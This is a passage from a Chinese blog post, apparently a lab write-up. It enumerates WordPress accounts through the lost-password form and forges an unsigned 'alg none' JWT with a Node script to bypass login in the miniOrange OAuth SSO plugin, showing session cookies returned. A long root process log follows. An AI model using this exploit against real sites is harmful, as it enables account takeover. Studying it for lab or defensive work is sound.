{"id":1231,"date":"2026-07-04T11:34:16","date_gmt":"2026-07-04T03:34:16","guid":{"rendered":"http:\/\/www.xiyu12.top\/?p=1231"},"modified":"2026-07-04T11:55:32","modified_gmt":"2026-07-04T03:55:32","slug":"oauthless","status":"publish","type":"post","link":"http:\/\/www.xiyu12.top\/?p=1231","title":{"rendered":"oauthless"},"content":{"rendered":"\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ cat a                           \nqq.com\nvip.qq.com\nfoxmail.com\n163.com\nvip.163.com\n126.com\nyeah.net\nsina.com\nsina.cn\nsohu.com\n139.com\n189.cn\nwo.cn\ngmail.com\noutlook.com\nhotmail.com\nyahoo.com\nicloud.com\nyepian.com\nadmin.com\nOauth.dsz\nOauth.com\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">cat a | xargs -I {} curl -X POST  &#8220;http:\/\/oauth.dsz\/wp-login.php?action=lostpassword&#8221; -d &#8220;user_login=yepian@{}&#8221;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;h1 role=\"presentation\" class=\"wp-login-logo\"&gt;&lt;a href=\"https:\/\/cn.wordpress.org\/\"&gt;\u57fa\u4e8e WordPress&lt;\/a&gt;&lt;\/h1&gt;\n        &lt;div class=\"notice notice-info message\"&gt;&lt;p&gt;\u8bf7\u8f93\u5165\u60a8\u7684\u7528\u6237\u540d\u6216\u90ae\u7bb1\u5730\u5740\u3002\u60a8\u4f1a\u6536\u5230\u4e00\u5c01\u5305\u542b\u91cd\u8bbe\u5bc6\u7801\u6307\u5f15\u7684\u90ae\u4ef6\u3002&lt;\/p&gt;&lt;\/div&gt;\n&lt;div id=\"login_error\" class=\"notice notice-error\"&gt;&lt;p&gt;&lt;strong&gt;\u9519\u8bef\uff1a&lt;\/strong&gt;\u6ca1\u6709\u4f7f\u7528\u8be5\u7528\u6237\u540d\u6216\u90ae\u7bb1\u5730\u5740\u7684\u8d26\u6237\u3002&lt;\/p&gt;&lt;\/div&gt;\n                &lt;form name=\"lostpasswordform\" id=\"lostpasswordform\" action=\"http:\/\/oauth.dsz\/wp-login.php?action=lostpassword\" method=\"post\"&gt;\n                        &lt;p&gt;\n                                &lt;label for=\"user_login\"&gt;\u7528\u6237\u540d\u6216\u90ae\u7bb1\u5730\u5740&lt;\/label&gt;\n                                &lt;input type=\"text\" name=\"user_login\" id=\"user_login\" class=\"input\" value=\"yepian@Oauth.com\" size=\"20\" autocapitalize=\"off\" autocomplete=\"username\" required=\"required\" \/&gt;\n                        &lt;\/p&gt;\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Keycloak Identity Provider\uff08IdP\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8d1f\u8d23\u53d1 token\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>WordPress \u6536\u5230 token \u4ee5\u540e\u600e\u4e48\u5904\u7406<\/strong>\u3002<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">\u771f\u6b63\u6f0f\u6d1e\u70b9\uff1aJWT \u6ca1\u9a8c\u7b7e  \uff08\u5047token\uff09<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">WordPress \u63d2\u4ef6 <strong><a target=\"_blank\" rel=\"noreferrer noopener\" href=\"https:\/\/wordpress.org\/plugins\/miniorange-login-with-eve-online-google-facebook\/?utm_source=chatgpt.com\">OAuth Single Sign On \u2013 SSO (OAuth Client)<\/a><\/strong>\uff08miniOrange \u51fa\u54c1\uff09\u3002\u53d7\u5f71\u54cd\u7248\u672c\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>&lt;= 6.26.12<\/code><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>C:\\Users\\tg&gt;curl  http:\/\/oauth.dsz\/?code=x&amp;state=a2V5Y2xvYWs=&amp;id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ5ZXBpYW4iLCJlbWFpbCI6InllcGlhbkBleGFtcGxlLmNvbSIsImV4cCI6OTk5OTk5OTk5OSwiaXNzIjoiaHR0cDovL29hdXRoLmRzejo4MDgwL3JlYWxtcy93b3JkcHJlc3Mtc2l0ZSIsImF1ZCI6IndvcmRwcmVzcy1jbGllbnQifQ.\"<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.xiyu12.top\/wp-content\/uploads\/2026\/07\/image-1024x528.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"528\" data-original=\"http:\/\/www.xiyu12.top\/wp-content\/uploads\/2026\/07\/image-1024x528.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1233\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.xiyu12.top\/wp-content\/uploads\/2026\/07\/image-1-1024x788.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"788\" data-original=\"http:\/\/www.xiyu12.top\/wp-content\/uploads\/2026\/07\/image-1-1024x788.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1234\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.xiyu12.top\/wp-content\/uploads\/2026\/07\/image-2-928x1024.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"928\" height=\"1024\" data-original=\"http:\/\/www.xiyu12.top\/wp-content\/uploads\/2026\/07\/image-2-928x1024.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1235\"  sizes=\"auto, (max-width: 928px) 100vw, 928px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e3a\u4e86\u4f2a\u9020\u80fd\u9a97\u8fc7 WordPress \u63d2\u4ef6\u7684 JWT\uff0c\u9700\u8981\u54ea\u4e9b\u53c2\u6570\uff1f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2514\u2500$ .\/aaa              \neyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwOi8vb2F1dGguZHN6L3JlYWxtcy93b3JkcHJlc3Mtc2l0ZSIsImF1ZCI6IndvcmRwcmVzcy1jbGllbnQiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJ5ZXBpYW4iLCJzdWIiOiJ5ZXBpYW4iLCJlbWFpbCI6InllcGlhbkBvYXV0aC5kc3oiLCJlbWFpbF92ZXJpZmllZCI6IjEiLCJpYXQiOjE3ODMxMzY3OTUsImV4cCI6MTc4MzE0MDM5NX0.\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\nHTTP\/1.1 302 Found\nDate: Sat, 04 Jul 2026 03:46:35 GMT\nServer: Apache\/2.4.67 (Unix)\nX-Powered-By: PHP\/8.3.31\nSet-Cookie: PHPSESSID=m4t38ms7lm7cpje12flfted62s; path=\/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nSet-Cookie: wordpress_e795660c1c86972f41ea6d62e77efa6f=yepian%7C1783309595%7CWZ7YHtkOkChMf13Hu5ge7vVomPKDxbqedwExS8EVJIu%7C793c314d5308a211aa360ec5ee685607e2e8b8fe47acfd01eb675af3c211c93d; path=\/wp-content\/plugins; HttpOnly\nSet-Cookie: wordpress_e795660c1c86972f41ea6d62e77efa6f=yepian%7C1783309595%7CWZ7YHtkOkChMf13Hu5ge7vVomPKDxbqedwExS8EVJIu%7C793c314d5308a211aa360ec5ee685607e2e8b8fe47acfd01eb675af3c211c93d; path=\/wp-admin; HttpOnly\nSet-Cookie: wordpress_logged_in_e795660c1c86972f41ea6d62e77efa6f=yepian%7C1783309595%7CWZ7YHtkOkChMf13Hu5ge7vVomPKDxbqedwExS8EVJIu%7C374f86c25016556e9108ad98487c4818f948a04fd0c9a6ebea4cae8f91e7488c; path=\/; HttpOnly\nX-Redirect-By: WordPress\nLocation: http:\/\/oauth.dsz\nContent-Length: 0\nContent-Type: text\/html; charset=UTF-8\n\n                                                                                                                                                    \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ cat aaa            \nTOKEN=$(node -e '\nfunction b64u(s){\n  return Buffer.from(s).toString(\"base64\")\n    .replace(\/\\+\/g,\"-\")\n    .replace(\/\\\/\/g,\"_\")\n    .replace(\/=+$\/,\"\")\n}\n\nconst header = b64u(JSON.stringify({ alg: \"none\", typ: \"JWT\" }));\n\nconst now = Math.floor(Date.now()\/1000);\nconst payload = b64u(JSON.stringify({\n  iss: \"http:\/\/oauth.dsz\/realms\/wordpress-site\",\n  aud: \"wordpress-client\",\n  preferred_username:\"yepian\",\n  sub: \"yepian\",\n  email: \"yepian@oauth.dsz\",\n  email_verified: \"1\",\n  iat: now,\n  exp: now + 3600\n}));\n\nconsole.log(header + \".\" + payload + \".\");\n')\n\necho \"$TOKEN\"\n\ncurl -i -A \"Mozilla\/5.0\" \\\n  \"http:\/\/oauth.dsz\/?code=x&amp;state=a2V5Y2xvYWs=&amp;id_token=$TOKEN\" \\\n  | tee \/tmp\/poc_headers.txt\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>2026\/07\/04 11:00:32 CMD: UID=0     PID=2960   | .\/CheckSystem \n2026\/07\/04 11:00:32 CMD: UID=0     PID=2961   | \n2026\/07\/04 11:00:32 CMD: UID=0     PID=2962   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:00:32 CMD: UID=0     PID=2963   | \n2026\/07\/04 11:00:32 CMD: UID=0     PID=2964   | \n2026\/07\/04 11:00:32 CMD: UID=0     PID=2967   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:00:32 CMD: UID=0     PID=2966   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:00:32 CMD: UID=0     PID=2965   | ps -ef \n2026\/07\/04 11:00:32 CMD: UID=0     PID=2968   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:00:32 CMD: UID=0     PID=2970   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:00:32 CMD: UID=0     PID=2969   | grep apache \n2026\/07\/04 11:02:06 CMD: UID=102   PID=2972   | ???\n2026\/07\/04 11:04:41 CMD: UID=???   PID=2975   | ???\n2026\/07\/04 11:05:01 CMD: UID=102   PID=2976   | -bash \n2026\/07\/04 11:05:14 CMD: UID=0     PID=2978   | \/bin\/sh \/usr\/share\/udhcpc\/default.script renew \n2026\/07\/04 11:05:38 CMD: UID=102   PID=2982   | \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2984   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2985   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2986   | \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2987   | \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2988   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2992   | ls -al \/root \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2991   | grep -v grep \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2990   | grep keycloak \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2989   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2994   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2993   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2995   | \n2026\/07\/04 11:06:42 CMD: UID=0     PID=2996   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:06:52 CMD: UID=???   PID=2997   | ???\n2026\/07\/04 11:07:04 CMD: UID=102   PID=2999   | vi ps \n2026\/07\/04 11:08:22 CMD: UID=0     PID=3002   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:08:22 CMD: UID=0     PID=3004   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:08:22 CMD: UID=0     PID=3003   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:08:22 CMD: UID=0     PID=3005   | \n2026\/07\/04 11:08:22 CMD: UID=0     PID=3006   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:08:22 CMD: UID=0     PID=3007   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:08:22 CMD: UID=0     PID=3009   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:08:22 CMD: UID=0     PID=3008   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:08:22 CMD: UID=0     PID=3012   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:08:22 CMD: UID=0     PID=3011   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:08:22 CMD: UID=0     PID=3010   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:08:43 CMD: UID=0     PID=3013   | sudo -l \n2026\/07\/04 11:08:50 CMD: UID=102   PID=3014   | \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3016   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3017   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3018   | \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3019   | \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3020   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3022   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3021   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3023   | \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3024   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3025   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3027   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3026   | \n2026\/07\/04 11:09:29 CMD: UID=0     PID=3028   | \n2026\/07\/04 11:09:32 CMD: UID=102   PID=3029   | \n2026\/07\/04 11:10:04 CMD: UID=102   PID=3032   | ls -al \n2026\/07\/04 11:10:15 CMD: UID=0     PID=3033   | \/bin\/sh \/usr\/share\/udhcpc\/default.script renew \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3041   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3042   | \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3043   | \/bin\/bash \/opt\/scripts\/plugins\/CheckMail.sh \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3045   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3046   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3049   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3048   | grep -v grep \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3047   | grep keycloak \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3050   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3053   | \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3052   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:10:53 CMD: UID=0     PID=3051   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:11:15 CMD: UID=102   PID=3054   | vi ps \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3056   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3057   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3058   | \/bin\/bash \/opt\/scripts\/plugins\/CheckMail.sh \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3059   | \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3060   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3061   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3063   | grep -v grep \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3062   | grep keycloak \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3064   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3066   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3065   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3068   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:11:42 CMD: UID=0     PID=3067   | cat \/root\/root.txt \n2026\/07\/04 11:11:48 CMD: UID=???   PID=3069   | ???\n2026\/07\/04 11:12:00 CMD: UID=102   PID=3072   | vi ps \n2026\/07\/04 11:12:25 CMD: UID=102   PID=3075   | vi ps \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3077   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3078   | \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3079   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3080   | \/bin\/bash \/opt\/scripts\/plugins\/CheckMail.sh \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3081   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3085   | \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3084   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3083   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3082   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3086   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3088   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3087   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:12:48 CMD: UID=0     PID=3089   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:13:05 CMD: UID=102   PID=3092   | vi ps \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3094   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3096   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3095   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3097   | \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3098   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3101   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3100   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3099   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3102   | \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3103   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3105   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3104   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:13:29 CMD: UID=0     PID=3106   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:14:16 CMD: UID=102   PID=3109   | vi ps \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3111   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3113   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3112   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3114   | \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3115   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3117   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3116   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3118   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3119   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3120   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3122   | grep -v grep \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3121   | grep apache \n2026\/07\/04 11:14:38 CMD: UID=0     PID=3123   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:14:49 CMD: UID=102   PID=3124   | \n2026\/07\/04 11:14:53 CMD: UID=???   PID=3125   | ???\n2026\/07\/04 11:15:00 CMD: UID=0     PID=3126   | \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3127   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3129   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3128   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3130   | \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3131   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3132   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3134   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3133   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3135   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3136   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3138   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3137   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:07 CMD: UID=0     PID=3139   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:11 CMD: UID=102   PID=3140   | vi ps \n2026\/07\/04 11:15:15 CMD: UID=0     PID=3142   | \/bin\/sh \/usr\/share\/udhcpc\/default.script renew \n2026\/07\/04 11:15:15 CMD: UID=0     PID=3144   | grep 192.168.31.3\/24 \n2026\/07\/04 11:15:15 CMD: UID=0     PID=3143   | ip -4 addr show dev eth0 \n2026\/07\/04 11:15:38 CMD: UID=0     PID=3146   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:15:38 CMD: UID=0     PID=3147   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:15:38 CMD: UID=0     PID=3148   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:15:38 CMD: UID=0     PID=3149   | cat \/var\/mail\/yepian\/message.md \n2026\/07\/04 11:15:38 CMD: UID=0     PID=3150   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:38 CMD: UID=0     PID=3151   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:38 CMD: UID=0     PID=3152   | grep keycloak \n2026\/07\/04 11:15:38 CMD: UID=???   PID=3154   | ???\n2026\/07\/04 11:15:38 CMD: UID=0     PID=3153   | grep -v grep \n2026\/07\/04 11:15:38 CMD: UID=0     PID=3155   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:38 CMD: UID=0     PID=3157   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:15:38 CMD: UID=0     PID=3156   | 